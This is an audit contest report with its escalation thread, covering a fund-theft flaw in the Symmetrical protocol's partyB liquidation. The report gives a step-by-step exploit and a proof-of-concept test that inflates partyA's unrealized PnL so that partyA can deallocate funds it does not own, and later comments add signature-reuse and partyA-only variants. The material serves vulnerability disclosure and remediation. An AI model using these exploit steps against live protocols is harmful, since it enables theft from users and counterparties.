panprog - liquidatePositionsPartyB can be used by malicious liquidator to liquidate only select positions which artificially inflates partyA upnl and allows to steal funds

[sherlock-admin]

panprog

high

liquidatePositionsPartyB can be used by malicious liquidator to liquidate only select positions which artificially inflates partyA upnl and allows to steal funds

Summary

Liquidating partyB is a 2-step process. First, liquidator calls liquidatePartyB, and then liquidatePositionsPartyB can be called 1 or more times, each call with an array of quotes (positions) to liquidate, until all positions are liquidated. However, after the 1st step but before the 2nd step finishes - partyA can still do anything (like deallocating funds) with upnl calculations using positions between partyA and liquidated partyB (muon app doesn't check for liquidation of active position's parties, and smart contract code also ignores this).

Malicious liquidator can liquidate only positions which are in a loss for the partyA (keeping positions which are in a profit for the same partyA), temporarily artificially inflating upnl for this partyA. This allows partyA to deallocate max funds available, effectively stealing them. After the partyB liquidation process finishes and all positions are liquidated, partyA goes into a very high bad debt.

Vulnerability Detail

liquidatePartyB sends all (or most of the) partyB's funds to partyA:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L294-L296

liquidatePositionsPartyB can be called by any liquidator with an array of quotes, so liquidator chooses which positions he will liquidate and which positions will remain active:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L331-L372

The liquidation process only finishes when all active partyB quotes/positions are liquidated, but until then, the first liquidator will have a choice of what quotes will remain active for a short time before next liquidator. During this time partyA will have incorrect upnl, because it will count some subset of positions, which can be chosen by liquidator.

While this bug mainly concerns muon app (which provides signed upnl for users), which is out of scope, the same logic flaw is also present in some parts of the smart contract code, such as closing positions. requestToClosePosition doesn't have any checks for either party liquidation status:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L148-L191

fillCloseRequest doesn't have any checks for liquidation status either:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L256-L293

There is also lack of liquidation check in the liquidatePositionsPartyA. This is the bug, which can be combined with this one to steal all protocol funds.

The following scenario is possible for malicious partyA to steal funds:

1. partyA opens LONG position with "good" partyB

2. At the same time, partyA opens 2 opposite (LONG and SHORT) positions with controlled partyB2 with minimally accepted allocated balance (with slightly different sizes, so that if price goes against partyA, partyB2 will be liquidatable)

3. When price goes against partyA (it has large loss in a position with partyB), partyB2 becomes liquidatable

4. partyA uses controlled liquidator to liquidate partyB2 and calls liquidatePositionsPartyB but only with quoteId of the LONG position (which is in a loss for partyA)

5. After that, partyA will have a very large profit from its SHORT position with partyB2, which will offset the loss from LONG position with partyB (LONG position with partyB2 is liquidated). partyA can deallocate it's full allocated balance, as the artificial unrealized profit allows to do this.

6. Any liquidator can finish liquidating partyB2, at this point partyA will go into bad debt, but since its allocated balance is 0, after partyA liquidation - partyB won't get anything and will lose all its profit. Effectively partyA has stolen funds from partyB.

It is also possible to just outright steal all funds from the protocol by using another bug (liquidation of partyA to inflate allocated balances of controlled partyB), but that's out of context of this bug.

Impact

Any partyA which is in a loss on any of its position, can exploit the bug to temporarily inflate upnl and deallocate all funds at the expense of the other party, which won't get the profit from partyA positions due to bad debt.

Combining it with the other bug allows to steal all protocol funds.

Code Snippet

Add this to any test, for example to ClosePosition.behavior.ts.

it("PartyA upnl boost off picky partyB position liquidation", async function () {
  const context: RunContext = this.context;

  this.user_allocated = decimal(1000);
  this.hedger_allocated = decimal(1000);
  this.hedger2_allocated = decimal(77);

  this.user = new User(this.context, this.context.signers.user);
  await this.user.setup();
  await this.user.setBalances(this.user_allocated, this.user_allocated, this.user_allocated);

  this.hedger = new Hedger(this.context, this.context.signers.hedger);
  await this.hedger.setup();
  await this.hedger.setBalances(this.hedger_allocated, this.hedger_allocated);

  this.hedger2 = new Hedger(this.context, this.context.signers.hedger2);
  await this.hedger2.setup();
  await this.hedger2.setBalances(this.hedger2_allocated, this.hedger2_allocated);

  this.liquidator = new User(this.context, this.context.signers.liquidator);
  await this.liquidator.setup();

  // open position (100 @ 10)
  await this.user.sendQuote(limitQuoteRequestBuilder().quantity(decimal(100)).price(decimal(10)).build());
  await this.hedger.lockQuote(1, 0, decimal(1));
  await this.hedger.openPosition(1, limitOpenRequestBuilder().filledAmount(decimal(100)).openPrice(decimal(10)).price(decimal(10)).build());

  // open 2 opposite direction positions with user-controlled hedger to exploit them later
  // (positions with slightly different sizes so that at some point the hedger can be liquidated)
  await this.user.sendQuote(limitQuoteRequestBuilder()
    .quantity(decimal(190))
    .price(decimal(10))
    .cva(decimal(10)).lf(decimal(5)).mm(decimal(10))
    .build()
  );
  await this.hedger2.lockQuote(2, 0, decimal(2, 16));
  await this.hedger2.openPosition(2, limitOpenRequestBuilder().filledAmount(decimal(90)).openPrice(decimal(10)).price(decimal(10)).build());

  await this.user.sendQuote(limitQuoteRequestBuilder()
    .positionType(PositionType.SHORT)
    .quantity(decimal(200))
    .price(decimal(10))
    .cva(decimal(10)).lf(decimal(5)).mm(decimal(10))
    .build()
  );
  await this.hedger2.lockQuote(3, 0, decimal(2, 16));
  await this.hedger2.openPosition(3, limitOpenRequestBuilder().filledAmount(decimal(100)).openPrice(decimal(10)).price(decimal(10)).build());

  var info = await this.user.getBalanceInfo();
  console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked / 1e18);
  var info = await this.hedger2.getBalanceInfo(this.user.getAddress());
  console.log("partyB allocated: " + info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked / 1e18);

  // price goes to 5, so user is in a loss of -500, a slight profit of +50 from short position, but controlled hedger is in a -50 loss and 
  // becomes liquidatable
  // user now exploits the bug by liquidating controlled hedger
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePartyB(
    this.hedger2.signer.address,
    this.user.signer.address,
    await getDummySingleUpnlSig(decimal(-50)),
  );

  // liquidate only quote 2 (which is not profitable for the user)
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePositionsPartyB(
    this.hedger2.signer.address,
    this.user.signer.address,
    await getDummyQuotesPriceSig([2], [5]),
  )

  var liquidated = await context.viewFacet.isPartyBLiquidated(this.hedger2.signer.address, this.user.signer.address);
  console.log("PartyB Liquidated: " + liquidated);

  var info = await this.user.getBalanceInfo();
  console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked / 1e18);

  var posCount = await this.context.viewFacet.partyAPositionsCount(this.user.getAddress());
  console.log("PartyA positions count: " + posCount);
  var openPositions = await this.context.viewFacet.getPartyAOpenPositions(
    this.user.getAddress(),
    0,
    posCount,
  );

  for (const pos of openPositions) {
    console.log("Position " + pos.id + ": type " + pos.positionType + ": " + pos.quantity/1e18 + " @ " + pos.openedPrice/1e18);
  }

  // deallocate max amount (upnl = -500 + 1000 = +500 for the user)
  // since we're in a profit, even after deallocating everything available we still have funds available, but can't deallocate more,
  // because allocated amount is already 0, and as it's unsigned, it can't go lower. This can be further exploited using another bug,
  // but that's out of this bug context
  await context.accountFacet.connect(this.user.signer).deallocate(decimal(1009), await getDummySingleUpnlSig(decimal(500)));

  // finish liquidation of user controlled hedger, forcing user in a big bad debt
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePositionsPartyB(
    this.hedger2.signer.address,
    this.user.signer.address,
    await getDummyQuotesPriceSig([3], [5]),
  )

  var info = await this.user.getBalanceInfo();
  console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked / 1e18);

  var posCount = await this.context.viewFacet.partyAPositionsCount(this.user.getAddress());
  console.log("PartyA positions count: " + posCount);
  var openPositions = await this.context.viewFacet.getPartyAOpenPositions(
    this.user.getAddress(),
    0,
    posCount,
  );

  for (const pos of openPositions) {
    console.log("Position " + pos.id + ": type " + pos.positionType + ": " + pos.quantity/1e18 + " @ " + pos.openedPrice/1e18);
  }

});

Tool used

Manual Review

Recommendation

There are different ways to fix this vulnerability and it depends on what the team is willing to do. I'd say the safest fix will be to introduce some temporarily locked status for the partyA, and when any partyB is liquidated, connected partyA is put in this temporary status, which is lifted after liquidation finishes, so that the user can't do anything while in this status. However, this is a lot of work and possible room for more bugs.

Another way is to add liquidation check to muon app and when calculating unrealized profit/loss - ignore any positions for which either party is in liquidated status. And also fix the smart contract code to include this check as well (for example, it's possible to close position with liquidated partyB - there are no checks that partyB is not liquidated anywhere). This is the easier way, but might create problems in the future, if further features or protocols building on top won't take this problem into account.

[hrishibhat]

Considering this issue as medium since this requires malicious partyB and liquidator both which are whitelisted.

[panprog]

Escalate

This should be high, not medium.

1. The same bug can be used just by liquidator alone, 2 possible scenarios:
   1.1. Since any user can be partyA, liquidator can also act as a partyA from a different address and open multiple positions with many partyBs and just wait until some of partyB becomes liquidatable (it is fair to assume that some of them can become liquidatable sooner or later).
   1.2. Just when liquidating any partyB, liquidator can choose to liquidate only positions which are in profit for corresponding partyA (which is solvent), keeping positions which are in a loss for partyA. This will create temporary artificial loss for partyA and it can become liquidatable, so liquidator will then liquidate partyA. In this case, liquidator will get liquidation fees both for partyB and partyA, partyA will be unfairly liquidated, even though it was solvent.
2. Liquidator is not trusted, refer to contest Q&A:

Are there any additional protocol roles? If yes, please explain in detail:
MUON_SETTER_ROLE: Can change settings of the Muon Oracle.
SYMBOL_MANAGER_ROLE: Can add, edit, and remove markets, as well as change market settings like fees and minimum acceptable position size.
PAUSER_ROLE: Can pause all system operations.
UNPAUSER_ROLE: Can unpause all system operations.
PARTY_B_MANAGER_ROLE: Can add new partyBs to the system.
LIQUIDATOR_ROLE: Can liquidate users.
SETTER_ROLE: Can change main system settings.
Note: All roles are trusted except for LIQUIDATOR_ROLE.

3. Liquidator role is supposed to be easy to get, even if it might require some funds deposit (which can't be very large as expected damage from malicious liquidators shouldn't be too big), but liquidator can get a lot more profit from this bug, so it can forfeit its deposit. Refer to this comment:

In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail to fulfill their role appropriately, they would face penalties.

4. PartyB is expected to be easy to get for any user later on, even though it's currently only for select users. Refer to discord reply:

ideally anyone can become a PartyB,
but it also requires you to stream your quotes to a frontend (so users can see them, and frontends can create a payload for the user to send it onchain),
and be able to accept trades when they come in.

so it definitely requires some software architecture,
we will provide examples for this in combination with the SDK probably in Q4 to open up the process and make it semi-permissionless

until then integrations are with selected players and MarketMakers

As described above, both liquidator and partyB roles will be easy to get, so the scenario described is easy to achieve and the profit from the bug exceeds any possible deposits required to obtain these roles.

But even if we disregard partyB control, it's still possible for liquidator to abuse this bug alone as described in point 1. And as liquidator is not trusted, it can easily behave maliciously and earn a profit from this bug.

As such, this should be high.

[sherlock-admin2]

Escalate

This should be high, not medium.

1. The same bug can be used just by liquidator alone, 2 possible scenarios:
   1.1. Since any user can be partyA, liquidator can also act as a partyA from a different address and open multiple positions with many partyBs and just wait until some of partyB becomes liquidatable (it is fair to assume that some of them can become liquidatable sooner or later).
   1.2. Just when liquidating any partyB, liquidator can choose to liquidate only positions which are in profit for corresponding partyA (which is solvent), keeping positions which are in a loss for partyA. This will create temporary artificial loss for partyA and it can become liquidatable, so liquidator will then liquidate partyA. In this case, liquidator will get liquidation fees both for partyB and partyA, partyA will be unfairly liquidated, even though it was solvent.
2. Liquidator is not trusted, refer to contest Q&A:

Are there any additional protocol roles? If yes, please explain in detail:
MUON_SETTER_ROLE: Can change settings of the Muon Oracle.
SYMBOL_MANAGER_ROLE: Can add, edit, and remove markets, as well as change market settings like fees and minimum acceptable position size.
PAUSER_ROLE: Can pause all system operations.
UNPAUSER_ROLE: Can unpause all system operations.
PARTY_B_MANAGER_ROLE: Can add new partyBs to the system.
LIQUIDATOR_ROLE: Can liquidate users.
SETTER_ROLE: Can change main system settings.
Note: All roles are trusted except for LIQUIDATOR_ROLE.

3. Liquidator role is supposed to be easy to get, even if it might require some funds deposit (which can't be very large as expected damage from malicious liquidators shouldn't be too big), but liquidator can get a lot more profit from this bug, so it can forfeit its deposit. Refer to this comment:

In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail to fulfill their role appropriately, they would face penalties.

4. PartyB is expected to be easy to get for any user later on, even though it's currently only for select users. Refer to discord reply:

ideally anyone can become a PartyB,
but it also requires you to stream your quotes to a frontend (so users can see them, and frontends can create a payload for the user to send it onchain),
and be able to accept trades when they come in.

so it definitely requires some software architecture,
we will provide examples for this in combination with the SDK probably in Q4 to open up the process and make it semi-permissionless

until then integrations are with selected players and MarketMakers

As described above, both liquidator and partyB roles will be easy to get, so the scenario described is easy to achieve and the profit from the bug exceeds any possible deposits required to obtain these roles.

But even if we disregard partyB control, it's still possible for liquidator to abuse this bug alone as described in point 1. And as liquidator is not trusted, it can easily behave maliciously and earn a profit from this bug.

As such, this should be high.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[xiaoming9090]

Escalate

To carry out the attack mentioned in the report, the malicious user needs to gain control of all three (3) roles, which are PartyA, PartyB, and Liquidator roles, to carry out the attack. There are several measures present within the protocol that make such an event unlikely.

PartyB (Hedger) and Liquidator roles are in fact not easy to obtain from the protocol, and they cannot be attained without explicit authorization from the protocol team. It will only be considered easy to obtain if they are permissionless, where anyone/anon could register to become a PartyB or Liquidator without being reviewed/vetted by the protocol team.

PartyB and Liquidator roles must be explicitly granted by the protocol team via the registerPartyB function and the grantRole function, respectively.

In the current system, to become a PartyB, the Hedgers must be known entities such as market makers with a reputation and identifiable founders, etc, and not open to the general public. Those hedgers/entities have a lot at stake if they engage in malicious actions, which include facing legal consequences.

The liquidator role is also not open to the general public, and the protocol would vet/review them before granting this role. Approved Liquidators are further required to lock in a certain amount of money, serving as a guarantee against any potential system sabotage.

Lastly, it's worth noting that in a real-world context, PartyB and Liquidator roles are typically held by distinct entities. Hence, some degree of collusion - another layer of complexity - would be necessary for the attack to be successful.

Given the controls in place and the several preconditions required for such an issue to occur, this issue should be considered of Medium severity.

[sherlock-admin2]

Escalate

To carry out the attack mentioned in the report, the malicious user needs to gain control of all three (3) roles, which are PartyA, PartyB, and Liquidator roles, to carry out the attack. There are several measures present within the protocol that make such an event unlikely.

PartyB (Hedger) and Liquidator roles are in fact not easy to obtain from the protocol, and they cannot be attained without explicit authorization from the protocol team. It will only be considered easy to obtain if they are permissionless, where anyone/anon could register to become a PartyB or Liquidator without being reviewed/vetted by the protocol team.

PartyB and Liquidator roles must be explicitly granted by the protocol team via the registerPartyB function and the grantRole function, respectively.

In the current system, to become a PartyB, the Hedgers must be known entities such as market makers with a reputation and identifiable founders, etc, and not open to the general public. Those hedgers/entities have a lot at stake if they engage in malicious actions, which include facing legal consequences.

The liquidator role is also not open to the general public, and the protocol would vet/review them before granting this role. Approved Liquidators are further required to lock in a certain amount of money, serving as a guarantee against any potential system sabotage.

Lastly, it's worth noting that in a real-world context, PartyB and Liquidator roles are typically held by distinct entities. Hence, some degree of collusion - another layer of complexity - would be necessary for the attack to be successful.

Given the controls in place and the several preconditions required for such an issue to occur, this issue should be considered of Medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[ctf-sec]

#189 (comment)

[CodingNameKiki]

#189 (another comment)

[sinarette]

BTW It is wrong that requestToClosePosition or fillCloseRequest lacks check of liquidation status, they are internal functions and are called from external functions which has a notLiquidated(quoteId) check.
https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacet.sol#L92
https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacet.sol#L197

[panprog]

BTW It is wrong that requestToClosePosition or fillCloseRequest lacks check of liquidation status, they are internal functions and are called from external functions which has a notLiquidated(quoteId) check.

Agree, great catch, I've missed that notLiquidated modifier checks both parties besides quote itself. This doesn't affect the bug report much though, I just mentioned these 2 functions as the other potential vulnerability points (I didn't come up with similar impact exploit for them), but the main points, exploit scenario and proof of concept remain valid.

[panprog]

To add on to why this is high:

It is possible to exploit the same bug with just the partyA, no additional roles needed. Just any time partyA is in a profit with any partyB and that partyB is liquidated, but before the quote is liquidated (partyA has to backrun liquidatePartyB or frontrun liquidatePositionsPartyB):

1. partyA allocatedBalance is increased by allocatedBalance of partyB which is liquidated (and since that position is in a profit for partyA, this means partyA's balance is increased by the profit from this position):

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L294-L296

2. At this point (after liquidatePartyB but before liquidatePositionsPartyB) profit from the position which is being liquidated is counted twice (partyA's allocatedBalance is already increment by the profit value, but unrealized pnl is still the same as it still counts this profitable position).
3. User deallocates max amount possible, which is currently inflated by the double profit of the position being liquidated.

That's it, user has stolen the inflated double profit from the position. Note: this is exactly the same scenario as described in this bug report, except it doesn't need opposite positions with the same partyB and doesn't need liquidator to liquidate select positions. But the core reason is still the same, I just show how to use the same bug without needing any whitelisted roles.

Updated proof of concept here

[panprog]

To address the concerns of @sinarette from discord about being able to mitigate this issue off-chain: the core reason of this issue is that partyA doesn't know if any of it's counterpartyB is in process of liquidation, and as such multiple functions for such partyA are allowed, while some of it's counterparties is still being liquidated. The main function which this bug report uses is deallocate: it's possible to deallocate funds for partyA while its counterpartyB is being liquidated.

I chain this bug with the muon app bug (which calculates all quotes from partyA into its unrealized pnl, even quotes with liquidated partyB) to demonstrate real impact of stealing significant amount due to this bug. Even though muon app bug is out of scope, I believe the combination of in-scope bug and out-of-scope bug to demonstrate impact is valid.

However, it is possible to replace muon app bug with a different bug (liquidatePartyB function not increasing partyA nonce) and instead just get a valid upnl signature for partyA before liquidatePartyB is called, and then use this signature to deallocate with outdated upnl which was before the liquidation. This is also demonstrated in the updated proof of concept in previous comment. Currently both methods actually yield the same signature due to a bug in muon app. But if the bug in muon app is fixed, then the method with using the signature from before liquidation will still work, so everything is in-scope.

To fix this bug - I suggest to add special state to partyA, when any of its partyB is liquidated (for example, this can be not state, but number of partyB liquidations currently active) and require to have no partyB liquidations for all partyA functions. So the fix is not via offchain muon app, but via the smart contract fix.

[sinarette]

I got the point; I think the issue can be easily mitigated through nonce incrementation in liquidation functionalities.
Also the same solution could be applied to #189 I guess, this could be the essential underlying problem in both issues.

[panprog]

I got the point; I think the issue can be easily mitigated through nonce incrementation in liquidation functionalities. Also the same solution could be applied to #189 I guess, this could be the essential underlying problem in both issues.

Not really. If nonce is incremented in liquidation functions, then muon app bug still allows to use this bug. If muon app bug is fixed, liquidation after liquidation is still possible. If all of these are fixed, some other potentially obscure issue (or something added in the future) might still arise. The core problem is that during liquidation (until it's finished) some internal accounting is out of sync and any functionality that relies on this internal state can cause different issues.

The way I see it: liquidation nonce increase bug in isolation doesn't cause issues, but different other functionality cause issues when combined with it. The bug described in this report doesn't cause issues in isolation, but different other functionality causes issues when combined with it as well. So it's not like this bug happens because of liquidation nonce increase bug, it's a separate bug which might cause harm even when the liquidation nonce bug is fixed.

Also, this bug is different from #189 because there is currently no way for partyA to know if any other partyB it has positions with is in liquidation state, so the problem and fix is to make it possible for partyA to know about it and stop its functions when any partyB is in liquidation process. The fix for #189 is to simply stop some functions when partyA is liquidated, which is already available and is already used in the other functions, but just not in a few important ones.

[sinarette]

What I want to say is, the muon app's upnl calculation (excluding liquidated positions) can be easily mitigated off-chain and not the concern of this audit.
If the signature is correctly calculated and by ensuring that the signature cannot be reused (which is currently enabled due to absence of nonce incrementation in liquidation functionalities), the accounting can work well as expected, since the actual accounting of the entire protocol relies on off-chain calculation - the muon signature.
As most of the functions are protected through notLiquidated modifiers, the only edge case is when partyB is liquidated and the corresponding partyA tries to do something with its assets.

[panprog]

This doesn't make this report not a bug: similar functions of partyB are protected (and some should be protected) with both notLiquidatedPartyA and notLiquidatedPartyB, but the same functions of partyA are only protected with notLiquidatedPartyA (and this is only because partyA has multiple parties B, but it should be similarly protected, just there is currently no way for partyA to know status of all its parties B, which is the core reason of this report).

I maintain the view that it's not safe to allow partyA actions while some partyB's liquidation is not finished: muon app and signature reuse are just 2 issues we have identified which can be combined with this bug to cause harm, there is also possibility to start partyA liquidation process while partyB is liquidated and there might be the other issues we just didn't find or some issues might be introduced in the future due to absence of such protection while the accounting is out of sync.

With this report I have demonstrated:

1. This is a valid issue on its own
2. The current impact is critical (allows to steal protocol funds)

So this should be a valid high. The fact that fixing muon app and signatures reuse might remove the critical impact is irrelevant. The bug will still stay, maybe the impact will become low, but in the current state it is critical.

[securitygrid]

However, it is possible to replace muon app bug with a different bug (liquidatePartyB function not increasing partyA nonce) and instead just get a valid upnl signature for partyA before liquidatePartyB is called, and then use this signature to deallocate with outdated upnl which was before the liquidation. This is also demonstrated in the updated proof of concept in previous comment. Currently both methods actually yield the same signature due to a bug in muon app. But if the bug in muon app is fixed, then the method with using the signature from before liquidation will still work, so everything is in-scope.

The upnlSig of liquidatePartyB is verified by LibMuon.verifyPartyBUpnl, which is the signature containing the addresses of partyB and partyA.
The upnlSig of AccountFacetImpl.deallocate is verified by LibMuon.verifyPartyAUpnl, which is the signature only containing the partyA's address.
The hash is different, how to use it to attack?
Using the upnlSig of liquidatePartyB to call AccountFacetImpl.deallocate will revert due to signature error.

[panprog]

The upnlSig of liquidatePartyB is verified by LibMuon.verifyPartyBUpnl, which is the signature containing the addresses of partyB and partyA.
The upnlSig of AccountFacetImpl.deallocate is verified by LibMuon.verifyPartyAUpnl, which is the signature only containing the partyA's address.
The hash is different, how to use it to attack?
Using the upnlSig of liquidatePartyB to call AccountFacetImpl.deallocate will revert due to signature error.

You just request and save the signature(s) you need before the liquidation (with the values you need) and use it after the liquidation, when it's still valid due to nonces not increasing.

[panprog]

I want to add here, that #189 was resolved as Medium, which I now agree with since it requires whitelisted roles. But this issue doesn't require any whitelisted roles: while the report shows scenario and proof of concept with the liquidator role, I didn't think that usage of these role impacts severity and wanted to demonstrate the max impact. The same scenario and POC without liquidator nor partyB roles required is shown in the comments above, so this should be a valid high.

[securitygrid]

The root cause is that the liquidated quote is recalculated into upnl

[panprog]

The root cause is that the liquidated quote is recalculated into upnl

While the scenario and POC uses this to demonstrate impact, this is not the root cause. I can come up with at least 2 other different scenarios to steal funds due to this bug.

The root cause is that partyA actions are allowed while any of its partyBs is in process of liquidation. So yes, at this time the accounting is incorrect (liquidated quotes still calculating into upnl by muon app is only 1 example of it) and that's why partyA shouldn't be allowed any actions. And there are multiple ways to combine the other bugs to abuse this issue to steal funds.

[hrishibhat]

Result:
High
Unique
After further reviewing all the comments, and confirming with the Sposnor, agree with the comment here that this attack also possible with only partyA, considering this issue a valid high

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• panprog: accepted
• xiaoming9090: rejected

[naveedinno]

There won't be any changes made to the contract regarding this issue. However, the Muon app will be updated to account for the state of partyB when calculating the UPNL of partyA. Specifically, if partyB lacks sufficient funds to fully compensate the user due to their liquidation, this will be reflected in the UPNL calculation within the Muon app.

To put it simply, let's consider an illustration with only one hedger for the sake of simplicity:
UPNL of partyA = min(Hedger remaining allocated, Users UPNL)